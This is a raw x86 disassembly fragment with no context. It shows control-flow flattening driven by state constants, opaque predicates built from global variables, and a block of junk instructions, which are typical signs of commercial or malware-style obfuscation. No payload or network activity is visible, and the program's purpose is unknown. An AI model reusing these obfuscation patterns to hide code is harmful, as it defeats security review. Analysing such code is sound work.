and eax, 0x33158ca4
and ecx, 0xccea735b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdf7c1fe4
and ecx, 0x2083e01b
or eax, ecx
mov ecx, eax
xor ecx, 0x11924c2e
xor eax, 0xa0211000
and ecx, 0x5ddacf6e
and eax, 0xa2253091
or eax, ecx
mov ecx, eax
xor ecx, 0x8584764
xor eax, 0xa2241081
and eax, 0xf7a6988b
and ecx, 0x8596774
or ecx, eax
xor ecx, 0x8596774
setne dl
sete ah
cmp dword [0x4f6180], 0xa
mov al, dl
setge cl
setl ch
xor al, ch
and dl, ch
or ch, ah
and cl, ah
or cl, dl
xor ch, 1
mov edx, eax
or cl, ch
not dl
mov ah, cl
not ah
and ah, al
or al, cl
and cl, dl
or cl, ah
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xa44738cb
cmovne ecx, esi
test al, al
cmovne ecx, edi
test dl, dl
jmp 0x410347
cmp eax, 0x6f17ea72
je 0x4142b8
cmp eax, 0x6f25e41b
jne 0x402740
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0xd8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xb8]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [eax], 0
mov eax, 0x5d5141b3
jmp 0x402740
cmp eax, 0xd66ad3ed
je 0x4142c2
cmp eax, 0xd693f888
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x2180868
mov esi, ecx
and esi, 0xd9e71485
mov edx, eax
and edx, 0x2400e312
and eax, 0x49480936
or edi, edx
xor edi, 0x2180868
or esi, edi
mov edx, esi
not edx
and esi, 0xd9f6c68d
and edx, 0x26093972
or esi, edx
mov edx, esi
xor edx, 0x1c642894
xor esi, 0x105209
and esi, 0xe39a576b
and edx, 0x1c65a894
or edx, esi
mov esi, edx
xor esi, 0x8400814
xor edx, 0xe39a576b
mov edi, edx
or edx, ecx
and ecx, 0xb6b7f6c9
and edi, 0xb6b7f6c9
and esi, 0x49480936
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x97942341
or edx, eax
xor edx, 0xffffffff
sete cl
setne dl
cmp dword [0x4f6180], 0xa
setl ah
setge ch
and ah, dl
or dl, ch
and cl, ch
mov al, dl
or cl, ah
not al
and al, dl
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
and ah, cl
xor cl, 1
and al, cl
or cl, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xa6c91a3
cmovne edx, esi
test cl, cl
mov ecx, 0xa6c91a3
cmovne ecx, edx
test al, al
jmp 0x40c060
cmp eax, 0x290357a5
je 0x4142cc
cmp eax, 0x29bb543b
jne 0x402740
mov eax, 0xce90040c
jmp 0x402740
cmp eax, 0x9e2c4a76
je 0x4142d6
cmp eax, 0x9e9e5ab7
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x6e96547c
and ecx, 0x210cc204
mov edx, eax
and edx, 0x9169ab83
or eax, 0x48832890
or esi, edx
and eax, 0x5a9338da
mov edx, esi
xor esi, 0x12880
xor edx, 0x4000420
or ecx, eax
or esi, 0x1210104a
and edx, 0x84600521
and esi, 0x5a9338da
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0xcce32db1
and eax, 0x331cd24e
or ecx, eax
mov eax, ecx
xor eax, 0x2d8f162a
mov edi, ecx
and edi, 0xbe44a01c
and eax, ecx
not ecx
and ecx, 0x41bb5fe3
or edi, ecx
mov ecx, edi
xor ecx, 0xbe44a01c
xor edi, 0x40b106e0
mov edx, ecx
and edx, 0x2d8f162a
and edi, 0xf8f526f8
or eax, edx
mov edx, eax
not edx
and eax, 0x721cbfa1
and edx, 0x8de3405e
or eax, edx
mov edx, ecx
and edx, 0x70ad907
and ecx, 1
or edx, edi
mov esi, eax
xor esi, 0x4290288a
xor eax, 0xa06c5675
mov edi, edx
xor edi, 0xf8f526f9
xor edx, 0x2005802
and esi, 0x62f078ca
or ecx, edi
mov edi, eax
and edi, 0x9d0f8735
and edx, 0x62f078ca
or eax, ecx
and ecx, 0x9d0f8735
or esi, edi
or edx, ecx
not eax
xor edx, esi
mov esi, 0x81f3f614
or eax, edx
mov ecx, eax
not ecx
and eax, 0xab52bdce
and ecx, 0x54ad4231
or eax, ecx
mov ecx, eax
xor ecx, 0x10ac0200
xor eax, 0x2912a4ca
and eax, 0x6d13e4fb
and ecx, 0x92ec1b04
or ecx, eax
xor ecx, 0x92ec1b04
sete cl
setne al
cmp dword [0x4f6180], 0xa
setl dl
setge ah
mov ch, dl
and dl, al
and al, ah
and ch, cl
and cl, ah
or ch, al
or dl, cl
mov al, ch
xor al, ah
mov ah, dl
xor ah, 1
and al, ch
mov ch, dl
mov cl, ah
and cl, dl
xor cl, 1
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov edx, ecx
xor cl, 1
and dl, al
xor al, 1
and cl, al
or al, ah
or cl, dl
mov ch, al
xor ch, cl
test al, al
mov eax, 0x546e96b8
cmovne eax, esi
test cl, 1
not ch
cmove eax, esi
test ch, 1
mov ecx, 0x546e96b8
cmovne eax, ecx
jmp 0x402740
cmp eax, 0x5e9e43c4
je 0x4142ec
cmp eax, 0x5ee70cd3
jne 0x402740
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
mov eax, 0x44f595bd
jmp 0x402740
cmp eax, 0x6e5075e
je 0x4142f6
cmp eax, 0x7180f16
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc5b9873a
and eax, 0x3a4678c5
or eax, ecx
mov ecx, eax
xor eax, 0x445805
xor ecx, 0xc5b9873a
mov edx, ecx
and eax, 0x8444dd07
and edx, 0x7bbb22f8
and ecx, 0x7aa69dee
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0x7bbb22f8
xor esi, 0x11dbf16
xor edx, 0x1d02
and esi, eax
and edx, 0x429b3fda
and eax, 0xbd64c024
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x5d3bef16
xor eax, 0xbd64c024
and esi, 0xa2c410e9
or ecx, esi
mov esi, 0x7eacdeed
xor ecx, 0xd8628d06
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x82040
mov edx, ecx
and edx, 0x6f5c5a2
and ecx, 0xf9021a1d
or eax, edx
xor eax, 0x82040
or ecx, eax
sete ah
setne dl
cmp dword [0x4f6180], 0xa
setge ch
mov al, ch
xor al, dl
or dl, ch
or ch, ah
and al, ah
mov cl, dl
xor al, 1
xor cl, 1
mov ah, al
or al, ch
xor ah, ch
xor al, 1
or al, ah
mov ah, dl
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xfaa956c6
cmovne edx, esi
test al, 1
mov eax, 0xfaa956c6
jmp 0x413caf
cmp eax, 0x4340dece
je 0x4143f6
cmp eax, 0x4369fa2f
jne 0x402740
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x48]
mov ecx, dword [0x4f6184]
cmp dword [eax + 4], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x98]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 1
not edx
and eax, 0x385c657b
mov esi, edx
and ecx, 0xba311cb9
and esi, 0x45cee346
or esi, ecx
mov ecx, edx
or ecx, 0xba311cb8
and edx, 0xc7a39a84
and ecx, 0xba311cb9
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x35af9f40
mov esi, edx
and esi, 0xca5060bf
or ecx, esi
mov esi, eax
xor esi, 0x300c0540
xor eax, 0xc2000084
and eax, 0xca5060bf
and esi, 0x35af9f40
or esi, eax
xor esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0x7842c901
sete al
cmp dword [0x4f6180], 0xa
setge cl
setl dl
mov ah, cl
xor ah, al
xor ah, 1
or cl, ah
and ah, al
xor al, dl
and al, dl
mov edx, ecx
or al, ah
not dl
mov ah, al
and al, cl
xor ah, 1
or cl, ah
and ah, dl
or ah, al
mov dl, ah
xor dl, cl
test ah, ah
mov eax, 0x46e40950
cmovne eax, esi
test cl, cl
mov ecx, 0x46e40950
cmovne eax, ecx
test dl, 1
cmove eax, esi
jmp 0x402740
cmp eax, 0xbf1bcc1c
je 0x414400
cmp eax, 0xbf508e32
jne 0x402740
mov eax, dword [ebp - 0xb0]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xc040a000
mov esi, edx
and esi, 0x38a600e0
and edx, 0xa69073dd
or ecx, esi
mov esi, ecx
xor esi, 0xc0402000
xor ecx, 0x3fbf5fff
mov edi, ecx
and edi, 0x79c8bb5
and esi, 0xf8622040
or esi, edi
mov edi, eax
xor edi, 0xf8e6a0e0
and edi, eax
and eax, 0x596f8c22
mov ebx, edi
not ebx
and edi, 0xf863744a
or eax, edx
or ecx, ebx
and ebx, 0x79c8bb5
xor eax, 0x596f8c22
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0xf8e6a0e1
and esi, 0x7195f1e
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xac836a17
and esi, 0x537c95e8
or ecx, esi
mov esi, 0x3151d1a9
xor ecx, 0xac836a17
or eax, ecx
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x4f6180], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, ch
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov eax, 0x3151d1a9
mov cl, ch
xor cl, dl
test dl, 1
mov edx, 0xd66ad3ed
cmovne eax, edx
test ch, ch
cmove eax, esi
jmp 0x40fddd
cmp eax, 0x7e68070b
je 0x414574
cmp eax, 0x7eacdeed
jne 0x402740
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14]
mov eax, 0xfaa956c6
jmp 0x402740
cmp eax, 0xdbff38a7
jne 0x414587
mov eax, 0xf06b9920
jmp 0x402740
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x4c]
add eax, 2
mov dword [ecx], eax
mov eax, 0xf6d13f6c
jmp 0x402740
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, ecx
mov eax, ecx
not edx
or eax, 0xbdd9cc27
mov edi, edx
mov esi, eax
and esi, 0xa2983d79
and edi, 0x40260280
and edx, 0x2cb05b57
or edi, esi
mov esi, ecx
xor esi, 0x422633d8
and esi, ecx
and ecx, 0xd34fa4a8
mov ebx, esi
not ebx
and esi, 0x5d67c286
or ecx, edx
or eax, ebx
and ebx, 0xa2983d79
mov edx, ecx
xor edx, 0x30c80a0
xor ecx, 0x2cb05b57
or esi, ebx
not eax
and edx, 0x2b0ccaf1
xor esi, edi
or eax, esi
not esi
and esi, 0x9dd9cc27
and eax, 0x622633d8
or eax, esi
mov esi, eax
not esi
and eax, 0x4126507b
and esi, 0xbed9af84
or eax, esi
mov esi, eax
xor esi, 0x1044071
xor eax, 0xbed9af84
mov edi, eax
or eax, ecx
and ecx, 0xd4f3350e
and edi, 0xd4f3350e
and esi, 0x2b0ccaf1
or esi, edi
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
not ecx
and eax, 0x12ae2bee
and ecx, 0xed51d411
or eax, ecx
cmp eax, 0x12ae2bee
mov eax, dword [0x4f6184]
setne byte [ebp - 0xa5]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0x42910432
and eax, 0xbd6efbcd
or esi, eax
mov edx, esi
mov eax, esi
xor esi, 0xd9bfc3c2
xor eax, 0xbd6efbcd
xor edx, 0x42910432
mov edi, esi
and edi, eax
and esi, edx
and edx, 0x4ccb9d7
mov ecx, edi
not ecx
and edi, 0x82946ef7
mov ebx, ecx
and ebx, 0x7d6b9108
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x82946ef7
or ecx, ebx
and ebx, 0x7d6b9108
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xd503a929
and esi, 0x2afc56d6
or ecx, esi
mov esi, eax
and esi, 0xfb334628
and eax, 1
or esi, edx
xor ecx, 0x4e2d6ed8
xor esi, 0x4ccb9d6
or eax, esi
mov esi, 0x8ee44128
mov edx, eax
not edx
and eax, 0xc9404192
and edx, 0x36bfbe6d
or eax, edx
xor eax, 0xc9404192
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x19c739d5
and ecx, 0xe638c62a
or ecx, edx
xor ecx, 0xe638c62a
or ecx, eax
xor ecx, 0xffffffff
setne cl
sete ah
cmp dword [0x4f6180], 0xa
setl ch
setge dl
mov al, ch
xor ch, ah
and ah, dl
and dl, cl
and al, cl
or dl, ch
or al, ah
mov ecx, edx
mov ch, al
mov ah, al
xor cl, 1
not ch
and ch, al
xor ch, 1
xor ah, ch
or ch, al
xor ch, 1
or ch, ah
mov ah, dl
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov edx, eax
xor dl, cl
or cl, al
xor ah, ch
xor cl, 1
or cl, dl
mov edx, 0xf3eab0df
mov al, cl
xor al, ah
test al, 1
cmovne edx, esi
test cl, 1
mov ecx, 0xf3eab0df
cmovne ecx, edx
test ah, 1
cmove ecx, edx
mov eax, ecx
jmp 0x402740
movzx ecx, byte [ebp - 0x95]
mov ch, byte [ebp - 0x96]
mov esi, 0x4f5ec245
mov ah, cl
mov al, cl
or cl, ch
xor al, ch
xor cl, 1
xor ah, 1
or cl, al
and al, ch
or ah, ch
xor al, 1
mov edx, ecx
mov ch, al
or al, ah
xor dl, 1
xor ch, ah
xor al, 1
or al, ch
mov ah, al
mov ch, al
or al, dl
xor ah, 1
xor al, 1
and ch, cl
and dl, ah
xor ah, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xbebcc4dd
cmovne ecx, esi
test al, 1
mov eax, 0xbebcc4dd
cmovne eax, ecx
jmp 0x40c512
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
inc eax
mov dword [ecx], eax
mov eax, 0xebfae55d
jmp 0x402740
mov eax, dword [ebp - 0x50]
mov eax, 0x30d38809
jmp 0x402740
mov eax, 0x777576d7
jmp 0x402740
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, 0x4b1154b3
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x4e05d639
mov esi, eax
not esi
mov ecx, eax
or ecx, 0xb1fa29c6
and edx, eax
mov edi, ecx
and edi, 0x26e4803
and esi, 0x4c019638
mov ebx, edx
not ebx
and edx, 0xfd91b7fc
or esi, edi
or ecx, ebx
and ebx, 0x26e4803
or edx, ebx
not ecx
xor edx, esi
mov esi, 0xceacd1a0
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x4e05d638
and edx, 0xb1fa29c7
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne dl
cmp dword [0x4f6180], 0xa
mov ah, dl
setge al
setl cl
inc ah
inc al
xor cl, dl
or ah, al
xor al, dl
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x37e0e4a1
cmovne ecx, esi
test al, 1
mov eax, 0x37e0e4a1
jmp 0x411edf
mov eax, 0x4f374b86
jmp 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, 0x3dfe6a6
jmp 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xacc86936
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x533796c9
and eax, 0xacc86936
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0xf022356a
and eax, 0xef53e9cc
mov ecx, esi
and esi, 0xfddca95
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x10ac1632
or eax, esi
mov esi, edx
xor esi, 0xe0022149
xor edx, 0xfddca94
or ecx, edx
and edx, 0x10ac1632
and esi, 0xef53e9cd
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0xfb27676e
mov eax, ecx
not eax
and ecx, 0x27a0b61d
and eax, 0xd85f49e2
or eax, ecx
xor eax, 0x27a0b61d
sete cl
setne ch
cmp dword [0x4f6180], 0xa
setge ah
mov dl, ah
xor cl, ah
xor dl, ch
and cl, ah
mov al, dl
and ch, dl
and al, ah
mov ah, cl
xor cl, dl
xor dl, 1
mov dh, ch
xor ah, 1
xor ch, al
xor dh, 1
xor al, 1
or dl, ah
or al, dh
xor dl, 1
xor al, 1
or dl, cl
or al, ch
mov ecx, edx
mov ah, dl
mov dh, al
xor cl, 1
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
mov ch, cl
mov dl, ah
xor ch, 1
and dl, al
xor ah, ch
xor dl, 1
xor dh, dl
or dl, al
xor dl, 1
or dl, dh
mov dh, dl
and dl, cl
or cl, al
xor dh, 1
xor cl, 1
and dh, ch
or cl, ah
or dl, dh
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb8b9fb43
cmovne eax, esi
test cl, 1
mov ecx, 0xb8b9fb43
jmp 0x4117b0
mov ecx, dword [0x4f6184]
mov edi, 0x7c9d1fe3
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn esi, eax, eax
not eax
and ecx, 0x2d7c6ce7
and eax, 0xd2839318
or ecx, eax
xor ecx, 0x2d7c6ce7
or esi, ecx
mov eax, esi
xor eax, 0x6c2450a
mov edx, esi
xor edx, 0x8830a001
mov ecx, esi
not ecx
and esi, 0x960e5e86
and edx, 0xb934b8c5
and eax, 0x46cb473a
and ecx, 0x69f1a178
or eax, edx
or ecx, esi
mov edx, eax
xor edx, 0x51045
xor eax, 0x8ef2e50a
mov esi, eax
and esi, 0x79b84eb8
and edx, 0x8647b147
or edx, esi
mov esi, ecx
xor esi, 0x41a140
xor ecx, 0x960e5e87
or eax, ecx
and ecx, 0x79b84eb8
and esi, 0x8647b146
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x352d1485
and edx, 0xcad2eb7a
or edx, esi
mov esi, ecx
not esi
and ecx, 0xcad2eb7a
or eax, esi
and esi, 0x352d1485
or ecx, esi
not eax
mov esi, 0x6ff11b46
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x956be46a
mov edx, ecx
and edx, 0x6a941b95
or eax, edx
xor eax, 0x956be46a
or eax, ecx
xor eax, 0xffffffff
sete dl
setne cl
cmp dword [0x4f6180], 0xa
setge ah
setl al
xor ah, dl
xor cl, al
or al, dl
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ah, cl
xor ah, al
and al, cl
or al, dl
and ah, cl
mov edx, 0x7c9d1fe3
mov ecx, eax
xor cl, ah
test al, al
cmovne edx, esi
test ah, ah
cmove edx, edi
test cl, cl
cmovne edx, esi
mov eax, edx
jmp 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x10
mov eax, 0xf996af73
jmp 0x402740
mov eax, 0xddf64c29
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and edx, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xd95ed5dc
xor edx, ecx
test edx, ecx
sete ah
setne ch
cmp dword [0x4f6180], 0xa
setl al
setge dl
mov cl, al
mov dh, al
and dl, ah
xor cl, ch
or dh, ch
not cl
and cl, ch
and ch, al
or al, ah
xor cl, 1
or dl, ch
xor al, 1
mov ebx, ecx
or cl, dh
or al, dl
xor bl, dh
xor cl, 1
mov ah, al
or cl, bl
xor ah, 1
mov edx, ecx
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xfb27676e
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0x24]
mov ecx, dword [0x4f6184]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn esi, eax, eax
not eax
and ecx, 0xc65babbb
and eax, 0x39a45444
or ecx, eax
xor ecx, 0xc65babbb
or esi, ecx
mov edi, esi
not edi
mov ecx, esi
and ecx, 0xcaa5adb6
and esi, 0x1005910a
mov eax, edi
and eax, 0x355a5249
or edi, 0xa7ea24b0
or ecx, eax
mov eax, ecx
mov ebx, ecx
xor eax, 0xcaa5adb6
xor ebx, 0x92b076f9
xor ecx, 0x341a0240
and ebx, eax
or eax, 1
and ecx, 0xfc1faaf2
mov edx, ebx
not edx
and ebx, 0xb007b50a
and eax, 0x3e0550d
mov dword [ebp - 0xac], edx
and dword [ebp - 0xac], 0x4ff84af5
or edx, edi
and edi, 0x4ff84af5
or eax, ecx
add ebx, dword [ebp - 0xac]
or esi, edi
not edx
xor eax, 0x3e0550d
xor esi, ebx
or edx, esi
mov esi, edx
not esi
and edx, 0xe4a46638
and esi, 0x1b5b99c7
or edx, esi
mov esi, 0x9599fcb4
xor edx, 0x434e4289
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x20827122
and eax, 0xcf758610
and ecx, 0x100808cd
or edx, ecx
xor edx, 0x20827122
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa8639428
and ecx, 0x579c6bd7
or eax, ecx
mov ecx, eax
xor ecx, 0x80618503
xor eax, 0x43041020
and eax, 0x5b8c78e4
and ecx, 0xa473871b
or ecx, eax
cmp ecx, 0x5b8c78e4
setne ah
cmp dword [0x4f6180], 0xa
setge al
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
mov ecx, edx
or al, dl
xor cl, 1
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ah, al
and dl, al
or al, cl
xor ah, 1
and ah, cl
mov ecx, eax
or ah, dl
mov edx, 0x70a7d69d
xor cl, ah
test al, 1
cmovne edx, esi
test ah, ah
not cl
mov eax, 0x70a7d69d
cmove edx, esi
test cl, 1
jmp 0x412325
rol eax, 0xac
mov eax, 0x18
neg edx
not esi
inc esi
not esi
imul esi
and eax, 0xef
mov ebx, 7
neg ebx
imul edi
rcl eax, 2
bswap eax
not ebx
dec edx
not edx
rol eax, 0xa7
mov eax, 0x27
not esi
bswap esi
imul esi
rcr edx, 0x98
sbb eax, 0xc
and edi, 0x7a
and edx, 0xfa
not edx
add edx, 0x89
dec eax
neg ebx
not esi
dec eax
add esi, 0xd2
not esi
and eax, 0x2a
dec edx
rol eax, 0x44
inc edx
add ebx, 0x9b
sub eax, 9
ror ebx, 0xbf
inc esi
rcr eax, 0x64
and edx, 0x8e
rol edx, 0xc0
mov eax, 0xff
ror eax, 0x72
inc esi
bswap edi
add edx, 0x34
bswap ebx
imul eax
sbb edx, 0xc6
and edi, 0xc6
rol eax, 0xdf
ror edi, 0xad
rcl eax, 2
rcr edi, 0xed
neg ebx
inc esi
sub esi, 0x99
imul ebx
imul eax
and edx, 0x78
or edx, 0xc1
bswap edi
not ebx
ror edi, 0x7f
bswap eax
inc eax
dec ebx
neg ebx
dec edx
dec edi
sbb ebx, 0x45
ror ebx, 0xe
neg ebx
rol esi, 0xb6
sbb ebx, 0x5b
sub esi, 0xd8
or eax, 4
rcl esi, 0xe7
inc edi
rcr ebx, 0xef
sub edx, 0x87
dec ebx
neg ebx
not ebx
and edi, 0xd5
bswap eax
neg edx
sbb esi, 0xa7
inc esi
not edi
imul esi
sub esi, 0x67
bswap ebx
imul edx
and ebx, 0x21
mov edi, 0xe5
sub esi, 0x9e
rol ebx, 0x42
add edi, 0xb4
sub edi, 0xa9
inc edx
imul edx
imul edi
inc eax
mov eax, 0x3b
imul edi
and ebx, 0x27
mov edi, 0x3e
inc eax
ror ebx, 0xf6
and esi, 0x21
dec eax
sub eax, 0xa2
dec esi
inc ebx
imul esi
neg edi
and ebx, 0x54
sub eax, 0x1d
ror eax, 0x14
dec ebx
inc esi
imul ebx
not esi
ror ebx, 0xdb
dec edx
rcl edi, 0x61
mov esi, 0xeb
sbb edx, 0x6c
rol edx, 0x6a
sub edx, 0x18
inc esi
ror ebx, 0xe7
sub edi, 0xa6
bswap edx
sub edx, 0x86
rcl esi, 0xfd
dec esi
rcl esi, 0x47
neg edi
rcl edi, 0xfb
rol esi, 0x9d
sbb ebx, 0x25
dec eax
and edx, 0xa0
sub edx, 0x99
ror eax, 0xba
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, 0xdde9f64d
jmp 0x402740
mov eax, 0xffc40393
jmp 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x76631b75
mov eax, ecx
and eax, 0x50d72ccc
and edx, ecx
not ecx
mov esi, ecx
and esi, 0xaf28d333
mov ebx, edx
not ebx
and edx, 0x24778480
or eax, esi
mov esi, eax
xor eax, 0x26201331
xor esi, 0x430000
or eax, 0x899ce48a
and esi, 0x24630000
mov edi, eax
or eax, ebx
and edi, 0xdb887b7f
and ebx, 0xdb887b7f
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x63bb271e
or eax, edx
mov edx, eax
not edx
and eax, 0x48813fdc
and edx, 0xb77ec023
or eax, edx
mov edx, eax
xor edx, 0xe802428
xor eax, 0xc0105913
and eax, 0xf0725993
and edx, 0xf8da66c
or edx, eax
xor edx, 0xf8da66c
or edx, ecx
xor edx, 0xffffffff
setne ah
sete dl
cmp dword [0x4f6180], 0xa
setge ch
setl cl
mov al, ch
and cl, ah
xor al, dl
and dl, ch
xor al, 1
or cl, dl
or al, ch
mov edx, ecx
mov ah, al
xor dl, 1
and cl, al
not ah
or al, dl
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0x9a8434e7
cmovne edx, esi
test al, al
mov eax, 0x9a8434e7
jmp 0x411538
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xc4428090
mov eax, edx
or eax, 0x3b3d7f4c
and edx, 0x13ecebb9
mov edi, eax
and edi, 0x10944567
or esi, edi
mov edi, ecx
xor edi, 0x3b3d7f4c
andn edi, ecx, edi
mov ebx, edi
not ebx
and edi, 0xef6bba98
or eax, ebx
and ebx, 0x10944567
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0x91227603
and esi, 0x6edd89fc
or eax, esi
mov esi, ecx
and esi, 0xec131446
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x44608411
xor eax, 0xaa1f094e
xor esi, 0x13ecebb8
and edx, 0xee7a8557
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xe57ad1dc
and esi, 0x1a852e23
or ecx, esi
mov esi, eax
and esi, 0x11857aa8
or edx, esi
mov esi, ecx
xor esi, 0xe47a8154
xor ecx, 0x1a852e23
or eax, ecx
and ecx, 0x11857aa8
and esi, 0xee7a8557
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x83660e0d
and eax, 0x200b4040
mov edx, ecx
and edx, 0x7c99f1f2
or ecx, 0x9334a500
